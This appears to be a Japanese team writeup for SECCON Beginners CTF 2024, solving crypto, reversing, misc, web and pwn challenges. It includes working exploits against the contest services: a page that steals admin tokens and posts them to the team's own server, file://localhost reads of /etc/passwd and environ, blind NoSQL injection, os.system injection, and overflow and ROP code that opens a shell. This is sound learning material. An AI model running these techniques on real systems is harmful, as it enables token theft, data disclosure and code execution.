# SECCON Beginners 2024 writeup
## OvewView
team NITKCで出場し、1416ptで28th/962teamsでした。

[toc]
## crypto (by chizuchizu)
### Safe Prime
$p$と$q$と$n$の関係を上手くほどいてやると解ける。
$$n=pq=p(2p+1)=2p^2+p$$
$$p = \frac{-1+\sqrt{1+4\cdot 2 \cdot n}}{2}$$
Pythonで`math`や1/2乗で平方根を取ろうとするとfloatに変換されてしまうことを知らなくて詰まった。
`decimal`ライブラリを使うことで大きな桁でも精度保証をして平方根が取れる。`gmpy2`でも良い。
`ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}`
### math
これも$p$や$q$に関係する$a$と$b$が特別な数なのでゴニョゴニョ紙に書いて解いた。
$$a=p-x, \ b=q-x$$
ちなみに$ab$は平方数で、$a$と$b$はそれぞれ大きな素数で割れることが知られていたので、次のようにしてaとbの候補を絞った。
```python
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
prime1 = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
prime2 = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
print(ab // prime1// prime1 // prime2 // prime2)
# 1002777341573073149099549678043369
```
出力された数をfactordbに投げたところ、4つの素数が出てきたので、$a$、$b$の可能性はこの時点で$2^4-2=14$個に絞られた。
`(31666659779223213<17>)^2 = (3 · 173 · 199 · 306606827773<12>)^2`
$a$と$b$はこれらの素数の積の2乗と与えられた素数の2乗の積で表される。
それぞれの$a$と$b$の組合せに対して$p$と$q$の積が$n$になるかを検証した。
$$ ab = (p-x)(q-x) = pq - x(p+q) + x^2 = x(a+b) + x^2$$
より$x$が求まる。
$$x=\frac{-a-b+\sqrt{(a+b)^2+4(n-ab)}}{2}$$
```python
import gmpy2
from functools import reduce
from Crypto.Util.number import getPrime, isPrime, long_to_bytes, bytes_to_long
import operator
import itertools
prime1 = # 与えられた0 mod aの素数
prime2 = # 与えられた0 mod bの素数
ab = # ab
n = # n
lst = [3, 173, 199, 306606827773]
bit_combinations = list(itertools.product([0, 1], repeat=len(lst)))
for bits in bit_combinations:
combination1 = [lst[i] for i in range(len(lst)) if bits[i] == 1]
combination2 = [lst[i] for i in range(len(lst)) if bits[i] == 0]
if len(combination1) == 0:
continue
if len(combination2) == 0:
continue
tmp = reduce(operator.mul, combination1, 1)
a = tmp ** 2 * prime1 ** 2
tmp = reduce(operator.mul, combination2, 1)
b = tmp ** 2 * prime2 ** 2
assert a * b == ab
tmp = -a - b + gmpy2.isqrt((a + b) ** 2 + 4 * (n - ab))
tmp //= 2
x = tmp
p = a + x
q = b + x
if p * q == n:
print("="*20)
print(f"{p=}")
print(f"{q=}")
```
合致した$p$と$q$が見つかったので復号する。
```python
p = 7878824508023825320620552438859131751341011236435661361507465408511567856339128586549369157062948927445512194472763840898824746924636029850659802261912150719575815528250042476759316872507696855084778513881881419453874766724167271062172560745165185117184785529887592443232472500519042763719576401549059555549
q = 3597993939706753790208197378148848949822043309769682578959924290719006420996423496659961817582141773260972861724771414278651046463502978594910794197098988322222621708534481711002211659109357402539392364289580131703038942827590851390068976436194200123404980430263753899372174547820641396504020048511503939261
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)
decrypted_m = pow(cipher, d, n)
decrypted_FLAG = long_to_bytes(decrypted_m)
print(f"{decrypted_FLAG.decode('UTF-8')}")
```
`ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?} `
## reversing (by chizuchizu)
### assemble
push mov syscallだけでプログラミングしなさいという課題だった。
とても勉強になったので良い経験だった。こういうエミュレータを手元に置きたい。
challenge 1
```nasm
mov rax, 0x123
```
challenge 2
```nasm
mov rax, 0x123
push 0x123
```
challenge 3
chatgptに聞きながら引数を埋めた。
```nasm
mov rax,0x6f6c6c6548
push rax
mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,5
syscall
```
challenge 4
sys_open -> sys_read -> sys_write
```nasm
mov rax, 0x7478742e67616c66
push 0x0
push rax
mov rdi, rsp
mov rax, 2
mov rsi, 0
syscall
mov rdi,rax
mov rax,0
mov rsi,rsp
mov rdx,256
syscall
mov rdx,rax
mov rsi,rsp
mov rax,1
mov rdi,1
syscall
```
デバッグはsyscall実行直後の`eax`の値で確認できた。
ファイルディスクリプタを作成に手間取った。おそらく、ヌル文字がないことによって`flag.txt`に謎の文字が追加されて失敗してるのだと考えて`push 0x00`を追加し、パスの直後にヌル文字が来るようにしたところ、成功した。
`ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}`
### cha-ll-enge
llvmのコードを読むチャレンジ。ナイーブにコンパイルしようとしても、依存してるライブラリのコードが無くて怒られるので読むしかない。
素晴らしい記事で記法を学びながら、読み進めてPythonに書き起こした。
[こわくないLLVM入門! #LLVM - Qiita](https://qiita.com/Anko_9801/items/df4475fecbddd0d91ccc)
[LLVMを始めよう! 〜 LLVM IRの基礎はclangが教えてくれた・Brainf**kコンパイラを作ってみよう 〜 - プログラムモグモグ](https://itchyny.hatenablog.com/entry/2017/02/27/100000)
```python
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
flag = []
for i in range(len(key) - 1):
key1 = key[i]
key2 = key[i+1]
flag.append(chr(key1 ^ key2))
print(''.join(flag))
```
`ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}`
## misc
### getRank (by NXVZBGBFBEN)
エクストリーム数当てゲームで1位をとればいい.
サーバ側で順位を返す関数はこんな感じ:
```ts=
function ranking(score: number): Res {
const getRank = (score: number) => {
const rank = RANKING.findIndex((r) => score > r);
return rank === -1 ? RANKING.length + 1 : rank + 1;
};
const rank = getRank(score);
if (rank === 1) {
return {
rank,
message: process.env.FLAG || "fake{fake_flag}",
};
} else {
return {
rank,
message: `You got rank ${rank}!`,
};
}
}
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
```
とりあえず300文字以内でクソデカ数を送ればよさそう.
[``parseInt()``](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/parseInt)で送った文字列が評価されるので,``"0xff(以下略"``を300文字に収めて送りつける.
``<script>``タグ内にあった``getRank()``をいい感じに改造してリクエストを投げる:

### commentator (by NXVZBGBFBEN)
一行ずつPythonのコードを入力すると,それがサーバで実行される.
```
> nc commentator.beginners.seccon.games 4444
_ _ __
___ ___ _ __ ___ _ __ ___ ___ _ __ | |_ __ _| |_ ___ _ __ _ \ \
/ __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_) | |
| (_| (_) | | | | | | | | | | | __/ | | | || (_| | || (_) | | _ | |
\___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_| (_) | |
/_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>>
```
サーバ側での入力受付処理はこんな感じ:
```py=
python = ""
while True:
line = input(">>> ").replace("\r", "")
if "__EOF__" in line:
python += 'print("thx :)")'
break
python += f"# {line}\n" # comment :)
```
こういう入力をしても
```
>>> print("hello")\nprint("moin")
>>> __EOF__
```
サーバ上ではこんなファイルになってしまう.
```py=
# print("hello")\nprint("moin")
print("thx :)")
```
なんとかしてコメントアウトを回避するために,[エンコード宣言](https://docs.python.org/ja/3/reference/lexical_analysis.html#encoding-declarations)を使って[テキストエンコーディング](https://docs.python.org/ja/3/library/codecs.html#text-encodings)を``raw_unicode_escape``に変更し,処理系が``"\u000a"``を改行として解釈できるようにする.
```
>>> coding: raw_unicode_escape
>>> \u000aimport os
>>> \u000aos.system("cat /flag-437541b5d9499db505f005890ed38f0e.txt")
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)
```
### clamre
```python=
import re
ldb_content = "ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\\x63\\x74\\x66)(4)(\\x62)(\\{B)(\\x72)(\\x33)\\3(\\x6b1)(\\x6e\\x67)(\\x5f)\\3(\\x6c)\\11\\10(\\x54\\x68)\\7\\10(\\x480)(\\x75)(5)\\7\\10(\\x52)\\14\\11\\7(5)\\})$/"
pattern = re.search(r'/\^(.+)\$/', ldb_content).group(1)
decoded_pattern = re.sub(r'\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1), 16)), pattern)
readable_pattern = decoded_pattern.replace('(', '').replace(')', '')
print(readable_pattern)
```
```bash=
$python3 solve.py
ctf4b\{Br3\3k1ng_\3l\11\10Th\7\10H0u5\7\10R\14\11\75\}
```
ctf4b{Br34king_4ll_Th3_H0u53_Rul35}
## web (by Naotiki)
### wooorker
#### ページ
* GET `/`
* `?token=<token>`をつけてアクセスするとフラグがもらえる
* Adminのアカウントじゃないといけない
* GET `/login?next=<url>`
* username, pwを入力してボタン押すと `/login`にPOST
* 成功すると`<url>?token=<token>に飛ぶ
* POST `/login`
* bodyにusername,passwordを入れるとtokenかerrorが返ってくる
* GET `/report`
* 脆弱な脆弱性報告フォーム
* パスを送りつけるとそこにアクセスし**adminアカウント**でログインを試みる
* > 例えば、login?next=/を送信するとadminがhttps://wooorker.beginners.seccon.games/login?next=/にアクセスし、ログインを行います。
この問題は`/report`からadmin権限を持ったBotを自分のサイトに誘導することで、tokenを窃取できる
#### サーバー側コード
もちろんKotlinで書く。Ktorを使用した
```kotlin
fun Application.configureRouting() {
install(Resources)
routing {
get("/") {
println(call.parameters)
call.respondText("Hello World!")
}
}
}
```
あとはngrokとかでURL取得して
`/report`に`login?next=https://xxx.ngrok-free.app/` を入れ自分のサーバーに誘導する
```
Matched routes:
"" -> "<slash>" -> "(method:GET)"
Route resolve result:
SUCCESS @ /(method:GET)
Parameters [token=[eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE3OTM0LCJleHAiOjE3MTg1MjE1MzR9.MuV9BOTC6g5G7BfXC_PteGMxTZkKKO7Agh24B2vMRyk]]
2024-06-16 15:05:37.119 [eventLoopGroupProxy-4-3] TRACE i.k.s.p.c.ContentNegotiation - Skipping because body is already converted.
2024-06-16 15:05:37.119 [eventLoopGroupProxy-4-3] INFO ktor.application - 200 OK: GET - / in 0ms
```
token:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE3OTM0LCJleHAiOjE3MTg1MjE1MzR9.MuV9BOTC6g5G7BfXC_PteGMxTZkKKO7Agh24B2vMRyk`
あとは`/?token=`にくっつければ

`ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}`
### wooorker2
wooorkerとほぼ一緒
違いはクエリパラメーターにTokenがつくのではなく、ハッシュパラメーターにTokenがつくようになった。
そのためサーバーから直接Tokenを読み取ることはできない。
しかしJavaScriptからは読み取れるので、
自分のサイトへ誘導→HTML内のJS実行→ハッシュパラメーター取得→自分のAPI叩く→窃取成功!
という流れでいける
#### サーバー側コード
```kotlin
fun Application.configureRouting() {
install(Resources)
routing {
get("/") {
println(this.call.parameters)
call.respondText("Hello World!")
}
post("/api/w2") {
println(this.call.receiveText())
call.respondText("Hello World!")
}
// Static plugin. Try to access `/static/index.html`
static("/static") {
resources("static")
}
}
}
```
#### 配信するHTML (/resource/static内に置く)
```html
<html>
<head>
</head>
<body>
<script>
const token= location.hash
fetch(location.origin+"/api/w2",{
method:"POST",
body:JSON.stringify(token)
})
</script>
<h1>Hello Ktor!</h1>
</body>
</html>
```
ngrokとかでURL取得して
`/report`に`login?next=https://xxx.ngrok-free.app/static/index.html` を入れ自分のサーバーに誘導する
```
Matched routes:
"" -> "api" -> "w2" -> "(method:POST)"
Route resolve result:
SUCCESS @ /api/w2/(method:POST)
2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] TRACE i.k.server.engine.DefaultTransform - No Default Transformations found for class io.ktor.utils.io.ByteBufferChannel and expected type TypeInfo(type=class io.ktor.utils.io.ByteReadChannel, reifiedType=interface io.ktor.utils.io.ByteReadChannel, kotlinType=io.ktor.utils.io.ByteReadChannel) for call /api/w2
2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] TRACE i.k.s.p.c.ContentNegotiation - Skipping for request type class io.ktor.utils.io.ByteReadChannel because the type is ignored.
"#token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE4ODMyLCJleHAiOjE3MTg1MjI0MzJ9.I-apSUXl9au0sbFQcxj_bVKJRc3nQ5M0jmF5bvDS2pg"
2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] TRACE i.k.s.p.c.ContentNegotiation - Skipping because body is already converted.
2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] INFO ktor.application - 200 OK: POST - /api/w2 in 1ms
```
token:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE4ODMyLCJleHAiOjE3MTg1MjI0MzJ9.I-apSUXl9au0sbFQcxj_bVKJRc3nQ5M0jmF5bvDS2pg`
あとは`/#token=`にくっつければ

`ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}`
### ssrforlfi
`/?url=<url>`にアクセスするとサーバーが`<url>`にcurlでアクセスし、それをWebページにそのまま表示する
フラグは.envを見ると環境変数`flag`にセットされていることがわかる
最終的に環境変数を見れれば良さそう
```python
if not url:
return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
if not re.match('^[a-z"()./:;<>@|]*$', url):
return "Invalid URL ;("
# SSRF & LFI protection
if url.startswith("http://") or url.startswith("https://"):
if "localhost" in url:
return "Detected SSRF ;("
elif url.startswith("file://"):
path = url[7:]
if os.path.exists(path) or ".." in path:
return "Detected LFI ;("
else:
# Block other schemes
return "Invalid Scheme ;("
try:
# RCE ?
proc = subprocess.run(
f"curl '{url}'",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout ;("
```
コードを見るとlocalhostへのhttp(s)、存在するファイルへの`file://`によるアクセスは禁止されている。
しかし、curlでのみ使える`file://`の記法を使えば解けそう
ググってみると [curl/curl/issues/1187](https://github.com/curl/curl/issues/1187) に`file://127.0.0.1/c:\windows`という記述があった!これや!!!
数字はregexで弾かれてしまうのでlocalhostに変えればいけそう
とりあえず、`/?url=file://localhost/etc/passwd`

環境変数は`/proc/self/envieron`にあるので
`/?url=file://localhost/proc/self/environ`

`ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}`
### double-leaks
ユーザーネームとパスワードを入れるとフラグがゲットできるサイト
usernameもpassword_hashもそのまま`collection.find_one()`に入っているためMongoDBのクエリがそのまま使える。
`{$ne:""}`を渡せばいけると思いきや、
```python
if user["username"] != username or user["password_hash"] != password_hash:
return jsonify({"message": "DO NOT CHEATING"}), 401
```
これにより防がれてしまう。
しかし、クエリの結果があれば`DO NOT CHEATING`なければ`Invalid Credential`が返ってくるので、ブラインドNoSQLインジェクションができそう
しかし`$regex`はWAFによりブロックされる
```python
def waf(input_str):
# DO NOT SEND STRANGE INPUTS! :rage:
blacklist = [
"/",
".",
"*",
"=",
"+",
"-",
"?",
";",
"&",
"\\",
"=",
" ^",
"(",
")",
"[",
"]",
"in",
"where",
"regex",
]
return any([word in str(input_str) for word in blacklist])
```
しかし、`$lt`で文字列の大小比較ができるので二分探索ができる。
```kotlin
package me.naotiki
import com.squareup.okhttp.MediaType
import com.squareup.okhttp.OkHttpClient
import com.squareup.okhttp.Request
import com.squareup.okhttp.RequestBody
private const val endpoint = "http://double-leaks.beginners.seccon.games/login"//"http://localhost:41413/login"
val ok = OkHttpClient()
val userChars = (' '..'~').toList()
val hashChars = ('0'..'9') + ('a'..'f')
val userName = "\"ky0muky0mupur1n\""
private fun main() {
/*search(userChars){
request(it, ne)
}*/
search(hashChars){
request(userName, it)
}
}
fun search(list: List<Char>, value: String = "",requester:(String)->Boolean): String {
var range = list
val result: Char
while (true) {
println(range)
val midIndex=range.lastIndex.ushr(1)
val mid = range[midIndex]
if (range.size == 2) {
val res = requester(op("lt", value + range[1]))//request(op("lt", value + range[1]), ne)
println("${value+ range[1]}->$res")
result = if (res) range[0] else range[1]
break
}
val res = requester(op("lt", value + mid))
println("${value+mid}->$res")
if (res) {
range = range.subList(0,midIndex)
} else {
range = range.subList(midIndex, range.size)
}
if (range.size==1){
result = range.single()
break
}
}
return search(list, value + result,requester)
}
fun request(user: String, pass: String): Boolean {
val content="""
{
"username":$user,
"password_hash": $pass
}
""".trimIndent()
val req = Request.Builder().url(endpoint).post(
RequestBody.create(
MediaType.parse("application/json; charset=utf-8"),
content
)
).build()
val res = ok.newCall(req).execute()
val body=res.body().string()
println("""${content.replace("\n", " ")}->$body""")
Thread.sleep(100)
return body.contains("DO NOT CHEATING")
}
val ne = op("ne", "")
private fun op(opName: String, value: String): String {
return """
{
"${'$'}${opName}":"$value"
}
""".trimIndent()
}
```
結構雑だが一応動く
↓user
```
[ , !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, :, ;, <, =, >, ?, @, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~]
{ "username":{ "$lt":"ky0muky0mupur1O" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"}
ky0muky0mupur1O->false
[O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~]
{ "username":{ "$lt":"ky0muky0mupur1f" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"}
ky0muky0mupur1f->false
[f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~]
{ "username":{ "$lt":"ky0muky0mupur1r" }, "password_hash": { "$ne":"" } }->{"message":"DO NOT CHEATING"}
ky0muky0mupur1r->true
[f, g, h, i, j, k, l, m, n, o, p, q]
{ "username":{ "$lt":"ky0muky0mupur1k" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"}
ky0muky0mupur1k->false
[k, l, m, n, o, p, q]
{ "username":{ "$lt":"ky0muky0mupur1n" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"}
ky0muky0mupur1n->false
[n, o, p, q]
{ "username":{ "$lt":"ky0muky0mupur1o" }, "password_hash": { "$ne":"" } }->{"message":"DO NOT CHEATING"}
ky0muky0mupur1o->true
[ , !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, :, ;, <, =, >, ?, @, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~]
{ "username":{ "$lt":"ky0muky0mupur1nO" }, "password_hash": { "$ne":"" } }->{"message":"DO NOT CHEATING"}
```
↓hash
```
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f]
{ "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff317" } }->{"message":"Invalid Credential"}
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff317->false
[7, 8, 9, a, b, c, d, e, f]
{ "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31b" } }->{"message":"DO NOT CHEATING"}
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31b->true
[7, 8, 9, a]
{ "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff318" } }->{"message":"Invalid Credential"}
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff318->false
[8, 9, a]
{ "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff319" } }->{"message":"Invalid Credential"}
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff319->false
[9, a]
{ "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a" } }->{"message":"Invalid Credential"}
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a->false
```
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">レートリミッターを10req/secを1req/10secと読み間違えて圧倒的効率の悪さで二分探索していた<br>アホすぎる</p>— なおちき (@Naotiki13) <a href="https://twitter.com/Naotiki13/status/1802239455488774423?ref_src=twsrc%5Etfw">June 16, 2024</a></blockquote>
↑余談ですが、すっごいミスをしました・・・ Thread.sleep(10000)にしていた・・・
結果として
username: `ky0muky0mupur1n` (虚無虚無プリン)
password_hash: `d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a`
であることがわかる
あとは`/login`にポストすればOK
```http
POST http://double-leaks.beginners.seccon.games/login
Content-Type: application/json
{
"username": "ky0muky0mupur1n",
"password_hash": "d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"
}
```
```http
POST http://double-leaks.beginners.seccon.games/login
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sun, 16 Jun 2024 07:36:49 GMT
Content-Type: application/json
Content-Length: 101
Connection: keep-alive
{
"message": "Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"
}
```
`ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}`
### flagAlias
evalでJavaScriptを実行するサイト
コード flag.ts に\*\*REDACTED\*\*とある関数があるのでこの内容を読み取るのがゴールのようだ
変数`flag`内に flag.ts の内容がインポートされているのでこれを読めば良さそう。
しかし、wafのせいで攻撃は大変そう
```javascript
function waf(key: string) {
// Wonderful WAF :)
const ngWords = [
"eval",
"Object",
"proto",
"require",
"Deno",
"flag",
"ctf4b",
"http",
];
for (const word of ngWords) {
if (key.includes(word)) {
return "'NG word detected'";
}
}
return key;
}
```
wafを無効化してしまおう
``` `real ${waf=(s)=>s}` ```
```json
[
[
"wonderful flag",
"fake{wonderful_fake_flag}"
],
[
"special flag",
"fake{special_fake_flag}"
],
[
"real (s)=>s",
"fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
]
]
```
次に関数名も\*\*REDACTED\*\*されているため
Object.keys()を使って探す。
``` `real ${Object.keys(flag)}` ```
```json
[
[
"wonderful flag",
"fake{wonderful_fake_flag}"
],
[
"special flag",
"fake{special_fake_flag}"
],
[
"real getFakeFlag,getRealFlag_yUC2BwCtXEkg",
"fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
]
]
```
関数名が得られるので実行してみる
``` `real ${flag.getRealFlag_yUC2BwCtXEkg()}` ```
```json
[
[
"wonderful flag",
"fake{wonderful_fake_flag}"
],
[
"special flag",
"fake{special_fake_flag}"
],
[
"real fake{The flag is commented one line above here!}",
"fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
]
]
```
どうやら本当のフラグはコメント内にあるらしい
関数の内容(コメント含む)は`toString()`で得られる
``` `real ${flag.getRealFlag_yUC2BwCtXEkg.toString()}` ```
```json
[
[
"wonderful flag",
"fake{wonderful_fake_flag}"
],
[
"special flag",
"fake{special_fake_flag}"
],
[
"real function getRealFlag_yUC2BwCtXEkg() {\n // Great! You found the flag!\n // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n return \"fake{The flag is commented one line above here!}\";\n}",
"fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
]
]
```
`ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}`
## pwn (by k0080)
### sinple overflow
```bash=
$./chall
name:aaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa
flag{AAA}
```
### simple overwrite
```python=
from pwn import *
e = ELF("chall")
p = remote("simpleoverwrite.beginners.seccon.games", 9001)
p.sendline(b"A"*18+p64(e.sym['win']))
print(p.recvall())
```
### pure-and-easy
2nd,String format vulnでGOTのexitアドレスをwinに書き換え
```python=
from pwn import *
e = ELF("chall")
#p = e.process()
p = remote("pure-and-easy.beginners.seccon.games" ,9000)
context.clear(arch = 'amd64')
payload = fmtstr_payload(6, {e.got['exit'] : e.sym['win']})
p.sendline(payload)
print(p.recvall())
```
### gachi-rop
<details><summary>途中経過</summary>
1ガジェでなくオープンリード出力しなくては行けない問題だった
```python=
from pwn import *
e = ELF("gachi-rop",checksec=False)
libc = ELF("libc.so.6",checksec=False)
p = e.process()
#p = remote("gachi-rop.beginners.seccon.games",4567)
offset = 16
print(p.recvuntil(b"@").decode())
addr = int(p.recvuntil(b"\n")[:-1].decode(),16)
libcBase = addr - libc.sym['system']
libc.address = libcBase
EXIT = libc.sym['exit']
print("SYSTEM :::: ",hex(addr))
print("LIBC BASE : ",hex(libcBase))
print("EXIT :::: ",hex(EXIT))
BINSH = next(libc.search(b"/bin/sh\x00"))
print("BINSH :::: ",hex(BINSH))
# 0x000000000002a3e5 : pop rdi ; ret
POPRDI = 0x000000000002a3e5 + libcBase
RET = p64(0x000000000040101a)
#ropLoaded = ROP(libc)
#POPRDI = (ropLoaded.find_gadget(['pop rdi','ret']))[0]
#POPRDI = next(libc.search(asm('pop rdi; ret')))
print("POP RDI ::: ",hex(POPRDI))
#print("MY POP RDI: ",hex(POPRDI2))
rop1 = b"A"*offset + b"B"*8
rop2 = RET + p64(POPRDI) + p64(BINSH) + p64(addr) + p64(EXIT)
#rop2 = RET + p64(addr) + p64(EXIT) + p64(BINSH)
payload = rop1 + rop2
p.sendline(payload)
p.interactive()
```
</details>
## welcome
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}